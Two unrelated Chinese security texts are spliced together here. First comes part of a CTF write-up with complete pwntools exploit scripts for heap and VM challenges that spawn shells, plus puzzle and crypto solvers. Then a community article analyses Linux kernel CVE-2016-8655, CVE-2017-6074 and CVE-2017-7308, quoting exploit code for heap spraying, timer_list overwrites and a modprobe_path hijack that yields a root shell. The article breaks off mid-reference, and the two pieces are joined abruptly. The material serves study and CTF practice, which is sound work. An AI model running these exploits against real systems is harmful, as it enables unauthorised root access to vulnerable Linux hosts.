漏洞在edit的时候溢出。但由于限制了堆大小，先用unsorted bin attack改掉global_max_fast，然后就可以愉快的fastbin
attack了。先fast到stdout改write_base leak得到libc，然后fast到
**malloc_hook改hook，比较蛋疼的是one_gadget全失效了，于是用到**
libc_realloc+某个偏移。从+1一直试到+13，终于成功在[rsp+0x30]得到一个0，然后让__realloc_hook为one_gadget就行了
#-*- coding: utf-8 -*- from pwn import *
__author__ = '3summer'
binary_file = './note_five'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def choice(cmd, *argv):
sla('>>',cmd)
for i in argv:
if isinstance(i,tuple):
sa((i[1]),i[0])
continue
if isinstance(i,list):
sla(i[1],i[0])
continue
sla(':',i)
add = lambda idx,size :choice(1,idx,size)
edit = lambda idx,content :choice(2,idx,(content,':'))
delete = lambda idx :choice(3,idx)
# dbg(elf.plt.malloc) # malloc
# dbg(0xE6D) # free
# dbg(0x0DEE) # edit
add(0,0xe8)
add(1,0xe8)
add(2,0xe8)
add(3,0xe8)
add(4,0xe8)
# dbg(0xE6D) # free
delete(0)
payload = 'a' * 0xe0 + p64(0x2d0) + '\xf0'
edit(2,payload)
delete(3)
add(0,0x2d0 - 0x10)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
delete(1)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += p64(0) + p16(0x37f8 - 0x10) + '\n'
edit(0,payload)
add(3,0xe8)
add(3,0xe8)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
delete(2)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p16(0x25cf)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = "\x00" + p64(0)*4
payload = flat('aaaaaaaaa',p64(0)*7,0xfbad1800,0,0,0,p8(0),'\n')
edit(4,payload)
ru(p64(0xfbad1800))
r(0x20)
libc.address = uu64(r(6))-libc.sym._IO_2_1_stdout_-131
success('libc.address = 0x%x' % libc.address)
assert libc.address % 0x1000 == 0
# hijack control flow
fastbin_attack1 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd196f)
fastbin_attack2 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd1a50)
delete(3)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p64(fastbin_attack1)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = "\x00" + p64(0)*7 + p64(libc.address + 0x00007ffff7dd06e0 - 0x7ffff7a0d000)
payload += p64(0) * 19 + p64(0xff) + "\n"
edit(4,payload)
delete(3)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p64(fastbin_attack2)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = p64(0)*21 + p64(libc.sym.one_gadget)+ p64(libc.sym.__libc_realloc+13)+ "\n"
# payload = p64(0)*22 + p64(libc.sym.one_gadget)+ "\n"
# dbg(0x0DEE) # edit
edit(4,payload)
add(3,0x100)
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
## ezarch
[M]emory
Set的时候设置stack为mem-0x1000的位置，对于bp只检查与mem->size的大小，而不是检查stack_max，使得bp可以栈溢出
由于Partial RELRO，接下来的思路是将stack指针劫持到got表。
本来想通过断点打印的信息把libc leak出来的，不过既然有add和sub这样的opcode，直接根据libc的相对偏移去加减操作省事很多。
由于寄存器是32位的，分别将free的高低32位设置为system。再一次[M]emory
Set的时候会free掉这个chunk，所以在payload头部写入/bin/sh，并且设置eip为8跳过这个字符串。
#-*- coding: utf-8 -*- from pwn import *
binary_file = './ezarch'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.27/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
func = lambda opcode, _type1, _type2, arg0, arg1: flat(p8(opcode), p8(_type1*0x10+_type2), p32(arg0), p32(arg1))
# reg
r = [i for i in range(0x10)]
esp = 16
ebp = 17
# _type1
stackreg = 0
regimm = 1
regreg = 2
# _type2
no_ptr = 0
ptr = 2
# opcode
error = 0
add = 1
sub = 2
mov = 3
xor = 4
_or = 5
_and = 6
shl = 7
shr = 8
push = 9
pop = 0xA
call = 0xB
ret = 0xC
test = 0xD
test2 = 0xE
jz = 0xF
jz2 = 0x10
nop = 0x11
payload = flat(
'/bin/sh\x00',
func(mov,regimm,no_ptr,ebp,0x1008),
func(mov,regreg,no_ptr,r[0],ebp),
func(sub,regimm,no_ptr,r[0],0xa8),
func(mov,stackreg,ptr,ebp,r[0]),
func(mov,regimm,no_ptr,ebp,8),
func(mov,regreg,no_ptr,r[0],ebp),
func(sub,regimm,no_ptr,r[0],libc.sym.puts-libc.sym.system),
func(mov,regimm,no_ptr,ebp,0),
func(mov,stackreg,ptr,ebp,r[0]),
func(mov,regimm,no_ptr,ebp,8+4),
func(mov,regreg,no_ptr,r[0],ebp),
func(mov,regimm,no_ptr,ebp,4),
func(mov,stackreg,ptr,ebp,r[0]),
)
sla('>', 'M')
sla('>', 0x1100)
sla('>', len(payload))
sa(')', payload)
sla('>', 8)
sla('>', 0)
sla('>', 0)
# dbg(0x9C0) # run
# dbg(0x0AC2) # free
sla('>','R')
sla('>','M')
sla('size>',1)
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
# **Misc：**
## Hello Bytectf
打开题目即可getflag
## jigsaw
遇到题目怎么办？当然是人工做题了，先把没有带白字的图片，全部删掉，先把能拼接的都拼接起来，然后再整体连接起来。突然发现一个flag
根据"{"大致确定了中间位置，然后逐个拼接
最终拼接完毕
图片flag为flag{fate_stay_nt}，提交然后失败
然后把flag换成bytectf即bytectf{fate_stay_nt}，提交成功
## betgame
# coding=utf-8
from pwn import *
p=remote('112.125.25.81',9999)
# context(log_level='debug')
f = ['j','s','b']
def getind(x,y):
if y == 0:
return x
elif y ==1:
return (x+y)%3
elif y == -1:
if x > 0:
return x+y
elif x == 0:
return 2
for i in range(10):
print i,"1"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t),0)])
print i, "2"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t), -1)])
print i, "3"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t), 1)])
p.interactive()
##
##
# **Crypto：**
## lrlr
通过old的1000组可以预测python随机数，
<https://github.com/tna0y/Python-random-module-cracker>
一共2轮aes加密，既然密钥可以预测出来，自然就能解密得到clist。
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
import random
from randcrack import RandCrack
rc = RandCrack()
with open('old') as file:
old = [int(i) for i in file.read().strip().split('\n')]
index = 0
for i in range(index,624):
rc.submit(old[index])
index+=1
for i in range(1000-624):
assert(old[index]==rc.predict_getrandbits(32))
index+=1
with open('cl') as file:
nlist = [eval(i) for i in file.read().strip().split('\n')]
with open('new') as file:
clist=[i.decode('hex') for i in file.read().strip().split('\n')]
key1=[]
key2=[]
key3=[]
for i in range(24):
key1.append(rc.predict_getrandbits(128))
for i in range(24):
key2.append(rc.predict_getrandbits(128))
for i in range(24):
key3.append(rc.predict_getrandbits(128))
tmp1=[]
for i in range(24):
handle = AES.new(long_to_bytes(key3[i]), AES.MODE_CBC, "\x00"*16)
tmpstate=handle.decrypt(clist[i])
tmp1.append(tmpstate)
tmp2=[]
for i in range(24):
handle = AES.new(long_to_bytes(key2[i]), AES.MODE_CBC, "\x00"*16)
tmpstate=handle.decrypt(tmp1[i])
tmp2.append(tmpstate)
# tmp3=[]
# for i in range(24):
# handle = AES.new(long_to_bytes(key1[i]), AES.MODE_CBC, "\x00"*16)
# tmpstate=handle.decrypt(tmp2[i])
# tmp3.append(tmpstate)
c=[]
for i in tmp2:
c.append(bytes_to_long(i))
for i in range(17):
print 'n = %d'%nlist[i]
print 'e = 17'
print 'c = %d'%c[i]
print '\n'
然后有了24组n,c；e=17。随便选择17组去广播攻击
最后一步类似jarvis oj上的bbencode原题，循环编码，判断flag开头的字符串
def bbencode(n):
a = 0
for i in bin(n)[2:]:
a = a << 1
if (int(i)):
a = a ^ n
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
return a
result = 61406796444626535559771097418338494728649815464609781204026855332620301752444
for i in range(10000):
result = bbencode(result)
if("666c6167" == str(hex(result))[2:10]):
print i
print hex(result)[2:-1].decode('hex') | 社区文章 |
## 前言
CVE-2016-8655/CVE-2017-6074/CVE-2017-7308都是linux内核中与网络协议有关的漏洞，并且EXP都采用了覆盖timer_list结构体中函数的方法，本文试图通过分析这几个漏洞和读者一起学习。
linux内核使用timer_list结构体做为定时器。
struct timer_list {
/*
* All fields that change during normal runtime grouped to the
* same cacheline
*/
struct hlist_node entry;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
u32 flags;
int slack;
#ifdef CONFIG_TIMER_STATS
int start_pid;
void *start_site;
char start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
我们重点关注前几个成员：entry是定时器链表的入口，expires是定时器到期时间，function是定时器处理函数，data是传给定时器处理函数的参数。定时器到期时，function就会被执行。下面我们就来看看这个结构体在内核漏洞利用中的使用。
## 内核调试方法
有下面几种常用的内核调试方法可供选择，都有比较详细的文章。
1.自己编译内核使用qemu+busybox调试
2.使用virtualbox/vmware搭建两台虚拟机用串口通信调试
3.使用vmware提供的gdb stub调试
不过最后一种方法需要物理机也是linux系统。使用virtualbox用串口通信调试的设置和vmware略有不同，host和target的设置如下。
先启动target再启动host。
## CVE-2016-8655
关于这个漏洞已经有比较详细分析了[4]，下面和大家一起学习一下。
packet_set_ring函数在创建ringbuffer的时候，如果packet版本为TPACKET_V3会初始化定时器。
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
调用路径：packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()->init_timer()。
关闭socket时会再次调用packet_set_ring函数，如果packet的版本大于TPACKET_V2，内核会在队列中注销掉先前的定时器。
if (closing && (po->tp_version > TPACKET_V2)) {
/* Because we don't support block-based V3 on tx-ring */
if (!tx_ring)
prb_shutdown_retire_blk_timer(po, rb_queue);
}
调用路径：packet_set_ring()->prb_shutdown_retire_blk_timer()->prb_del_retire_blk_timer()->del_timer_sync()->del_timer()。
但是中间这段时间如果其它线程调用setsockopt将packet设为TPACKET_V1，前面初始化的定时器就不会在内核队列中注销，过期时就会触发定时器中回调函数的执行。这样，在timer_list结构体上就形成了UAF，可以使用堆喷射的方法把function替换为我们想要执行的函数。EXP中触发漏洞的代码如下。
void *vers_switcher(void *arg)
{
int val,x,y;
while(barrier) {}
while(1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if(x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if(x != 0) break;
y++;
}
fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
vers_switcher_done = 1;
return NULL;
}
具体喷射用的是add_key函数。
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void)
{
while(1)
syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
}
这里的exploitbuf是1408个字节但是指定的长度是1408-24个字节，因为在add_key函数中会调用到user_preparse函数，它会先创建大小为24字节的user_key_payload结构体。
/*
* Preparse a user defined key payload
*/
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;
if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;
/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return 0;
}
EXPORT_SYMBOL_GPL(user_preparse);
timer_list结构体相对于exploitbuf的偏移是0x35E个字节，因为data在user_key_payload结构体中的偏移是0x12个字节，
而timer_list结构体在packet_sock结构体中的偏移是0x370个字节(0x35E+0x12=0x370)。
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0]; /* actual data */
};
第一次触发漏洞，通过调用set_memory_rw函数将vsyscall页设置成可写属性页。
然后再修改vsyscall页内容为构造的ctl_table结构体的数据，将data设置为moprobe_path(/sbin/modprobe)。
void wrapper(void)
{
struct ctl_table *c;
fprintf(stderr,"exploit starting\n");
printf("making vsyscall page writable..\n\n");
exploit(off->set_memory_rw, VSYSCALL, verify_stage1);
printf("\nstage 1 completed\n");
sleep(5);
printf("registering new sysctl..\n\n");
c = (struct ctl_table *)(VSYSCALL+0x850);
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
strcpy((char *)(VSYSCALL+0xf00),"hack");
memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
c->procname = (char *)(VSYSCALL+0xf00);
c->mode = 0666;
c->proc_handler = (void *)(off->proc_dostring);
c->data = (void *)(off->modprobe_path);
c->maxlen=256;
c->extra1 = (void *)(VSYSCALL+0xe00);
c->extra2 = (void *)(VSYSCALL+0xd00);
exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);
printf("stage 2 completed\n");
}
第二次触发漏洞，通过调用register_sysctl_table函数注册构造的ctl_table结构体对应的sysctl条目。
然后再把/proc/sys/hack改成当前程序的路径，调用socket函数引用未被内核加载的网络驱动模块，内核会依次调用：inet_create ->
request_module -> call_modprobe ->
call_usermodehelper_setup&call_usermodehelper_exec ->
call_usermodehelper_exec_work -> call_usermodehelper_exec_async -> do_execve。
在call_usermodehelper_exec_async中调用do_execve之前会调用commit_creds(prepare_kernel_cred(0))。而call_modprobe中指定的modprobe_path是/sbin/modprobe，被替换成了poc程序的绝对路径，于是poc程序就以root权限运行了。这种方法是在[6]中提出的。
void launch_rootshell(void)
{
int fd;
char buf[256];
struct stat s;
fd = open("/proc/sys/hack",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"could not open /proc/sys/hack\n");
exit(-1);
}
memset(buf,'\x00', 256);
readlink("/proc/self/exe",(char *)&buf,256);
write(fd,buf,strlen(buf)+1);
socket(AF_INET,SOCK_STREAM,132);
if(stat(buf,&s) == 0 && s.st_uid == 0) {
printf("binary executed by kernel, launching rootshell\n");
lseek(fd, 0, SEEK_SET);
write(fd,"/sbin/modprobe",15);
close(fd);
execl(buf,buf,NULL);
}
else
printf("could not create rootshell\n");
}
## CVE-2017-6074
在dccp_rcv_state_process函数中，如果dccp_v6_conn_request函数成功返回就会调用__kfree_skb函数强制释放skb。
if (sk->sk_state == DCCP_LISTEN) {
if (dh->dccph_type == DCCP_PKT_REQUEST) {
if (inet_csk(sk)->icsk_af_ops->conn_request(sk,
skb) < 0)
return 1;
goto discard;
......
discard:
__kfree_skb(skb);
}
return 0;
}
EXPORT_SYMBOL_GPL(dccp_rcv_state_process);
如果socket设置了IPV6_RECVPKTINFO则skb被保存到ireq->pktopts并且引用计数+1。然而，dccp_rcv_state_process函数仍然会把skb释放掉，造成了UAF。
if (ipv6_opt_accepted(sk, skb, IP6CB(skb)) ||
np->rxopt.bits.rxinfo || np->rxopt.bits.rxoinfo ||
np->rxopt.bits.rxhlim || np->rxopt.bits.rxohlim) {
atomic_inc(&skb->users);
ireq->pktopts = skb;
我们可以使用同样的方法利用这个漏洞，这一次把timer_list结构体中的function替换为native_write_cr4禁用SMEP&SMAP。
然后通过覆盖skb_shared_info结构体中的函数指针使得在释放skb时执行被替换后的用户态中的提权函数。
## CVE-2017-7308
Project Zero的一篇文章中描述了这个漏洞从发现到利用的全部过程[5]，下面和大家一起学习一下。
packet_set_ring函数中存在一处整数溢出。
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size - BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
goto out;
这个检查过程的目的是确保内存块头部加上每个内存块私有数据的大小不超过内存块自身的大小。然而，这个检查是可以绕过的。
A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int)0x7fffffd0 = 0x7fffffd0 > 0
在调试器中观察一下。
之前在CVE-2016-8655中我们说到packet_set_ring函数在创建ringbuffer的时候，如果packet版本为TPACKET_V3会初始化定时器。
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
之后，在init_prb_bdqc函数中req_u->req3.tp_sizeof_priv会被复制到p1->blk_sizeof_priv。由于后者的类型是unsigned
short，因此可以将其设置为任意值。p1->blk_sizeof_priv刚被赋值紧接着就会用来设置p1->max_frame_len变量的值。p1->max_frame_len的值代表可以保存到内存块中的某个帧大小的最大值。由于我们可以控制p1->blk_sizeof_priv，我们可以使BLK_PLUS_PRIV(p1->blk_sizeof_priv)的值大于p1->kblk_size的值。这样会设置p1->max_frame_len为一个比内存块的大小更大的值。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
memset(p1, 0x0, sizeof(*p1));
......
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
......
}
当某个帧被拷贝到内存块中时就可以绕过对它的大小检测，最终导致内核堆越界写入。
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
......
} else if (unlikely(macoff + snaplen >
GET_PBDQC_FROM_RB(&po->rx_ring)->max_frame_len)) {
......
skb_copy_bits(skb, 0, h.raw + macoff, snaplen);
......
}
prb_open_block函数用来初始化一个内存块。当内核收到新的数据包时，数据包的写入地址存放在pkc1->nxt_offset中。内核不想覆盖内存块头部以及内存块对应的私有数据，因此它会将这个地址指向紧挨着头部和私有数据之后的那个地址。由于我们可以控制pkc1->blk_sizeof_priv，因此也可以控制pkc1->nxt_offset的最低的两个字节。这样我们就能够控制越界写入的偏移量。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
......
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
......
}
漏洞的利用方法是利用堆越界写入覆盖内存中与溢出内存块临近的那个函数指针。因此需要对堆进行精确布局，使得某些带有可触发函数指针的对象被精确放置在某个环形缓冲区之后。这里使用packet_sock结构体作为这类对象。我们需要找到一种办法，使得内核将一个环形缓冲区内存块和一个packet_sock结构体分配在一起。
环形缓冲区内存块通过buddy分配器进行分配，它可以为内存块分配2^n个连续的内存页面。对于每个n值，分配器会为这类内存块维护一个freelist表，并在请求内存块时返回freelist表头。如果某个n值对应的freelist为空，分配器就会查找第一个满足m>n且其freelist不为空的值，然后将它分为两半，直到所需的大小得到满足。因此，如果我们一直以2^n大小重复分配内存块，那么在某些时候，这些内存块会由某个高位内存块分裂所得，且这些内存块会彼此相邻。
packet_sock结构体是通过slab分配器使用kmalloc函数进行分配的。slab分配器主要用于分配比单内存页还小的那些对象。它使用buddy分配器分配一大块内存，然后切割这块内存，生成较小的对象。大的内存块称之为slabs，这也就是slab分配器的名称来源。一组slabs与它们的当前状态以及一组操作(分配对象/释放对象)一起，统称为一个缓存。slab分配器会按照2^n大小，为对象创建一组通用的缓存。每当kmalloc函数被调用时，slab分配器会将size调整到与2的幂最为接近的一个值，使用这个size作为缓存的大小。由于内核一直使用的都是kmalloc函数，如果我们试图分配一个对象，那么这个对象很有可能会来自于之前已经创建的一个slab中。然而，如果我们一直分配同样大小的对象，那么在某些时候，slab分配器将会将同样大小的slab全部用光，然后不得不使用buddy分配器分配另一个slab。新创建的slab的大小取决于这个slab所用的对象大小。packet_sock结构体的大小大约为1920，而1024
< 1920 <=
2048，这意味着对象的大小会调整到2048，并且会使用kmalloc-2048缓存。对于这个特定的缓存，SLUB分配器(这个分配器是Ubuntu所使用的slab分配器)会使用大小为0x8000的slabs。因此每当分配器用光kmalloc-2048缓存的slab时，它就会使用buddy分配器分配0x8000字节的空间。
漏洞利用过程如下：
1.分配许多大小为2048的对象(这里是512个)，填充当前kmalloc-2048缓存中存在的slabs。
#define KMALLOC_PAD 512
kmalloc_pad(KMALLOC_PAD);
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
dprintf("[-] socket(SOCK_DGRAM)\n");
exit(EXIT_FAILURE);
}
return s;
}
2.分配许多大小为0x8000的页面内存块(这里是1024个)，耗尽buddy分配器的freelists，使得某些高位页面内存块被拆分。
#define PAGEALLOC_PAD 1024
pagealloc_pad(PAGEALLOC_PAD);
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
dprintf("[-] socket(AF_PACKET)\n");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
dprintf("[-] bind(AF_PACKET)\n");
exit(EXIT_FAILURE);
}
return s;
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
dprintf("[-] setsockopt(PACKET_VERSION)\n");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
exit(EXIT_FAILURE);
}
}
3.创建一个socket，附加一个环形缓冲区，有两块大小为0x8000的内存块。第二个内存块是需要溢出的那个内存块。如果将nxt_offset指向内存块的尾部，那么当第一个数据包正在接收时，第一个内存块会马上被关闭，因为内核会认为第一个内存块中没有任何空余的空间。所以创建一个具备两个内存块的环形缓冲区，第一个内存块会被关闭，第二个内存块会被覆盖。
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
4.创建一些socket分配packet_sock结构体，最终导致至少有一个新的slab被分配。
**这个时候我们就把由buddy分配器分配的环形缓冲区和由slab分配器分配的packet_sock结构体放在了一起。**
由于当前正在存放到环形缓冲区中的数据为正在通过特定网络接口的数据包，可以通过回环接口使用原始套接字手动发送具有任意内容的数据包。如果在一个隔离的网络命名空间中执行这个操作就不会受到外部网络流量干扰。仍然使用前面覆盖timer_list结构体的方法绕过SMEP&SMAP。
void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8);//B78
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
这里不知道大家注意到没有，rdx减去pkblk_end是0xb7a，而在EXP中设置的2048+TIMER_OFFSET-8=0xb78，因为对齐所以差了两个字节，后面oob_write把这两个字节补回来了。
5.再次利用漏洞覆盖packet_sock->xmit函数，使之去执行被替换后的用户态中的提权函数。
void oob_id_match_execute(void *func) {
int s = oob_setup(2048 + XMIT_OFFSET - 64);
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc();
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func;
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]);
}
void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}
## 总结
本文我们分析了linux内核关于网络协议中的三个漏洞，它们使用了覆盖packet_sock结构体中的timer_list结构体中的函数实现提权的方法。有别于可能更常见的stack
pivot之后通过ROP链禁用SMEP的方法，这种方法能同时禁用SMEP和SMAP，也具有更好的稳定性。参考资料中给出了这几个漏洞用到的EXP和相关文章的链接。作者水平有限，如有不当还请指正。
## 参考资料
1.[CVE-2016-8655 EXP](https://www.exploit-db.com/exploits/40871 "CVE-2016-8655
EXP")
2.[CVE-2017-6074 EXP](https://www.exploit-db.com/exploits/41458 "CVE-2017-6074
EXP")
3.[CVE-2017-7308 EXP](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2017-7308/poc.c "CVE-2017-7308")
4.[CVE-2016-8655内核竞争条件漏洞调试分析](https://www.anquanke.com/post/id/85162
"CVE-2016-8655内核竞争条件漏洞调试分析")
5.[Exploiting the Linux kernel via packet
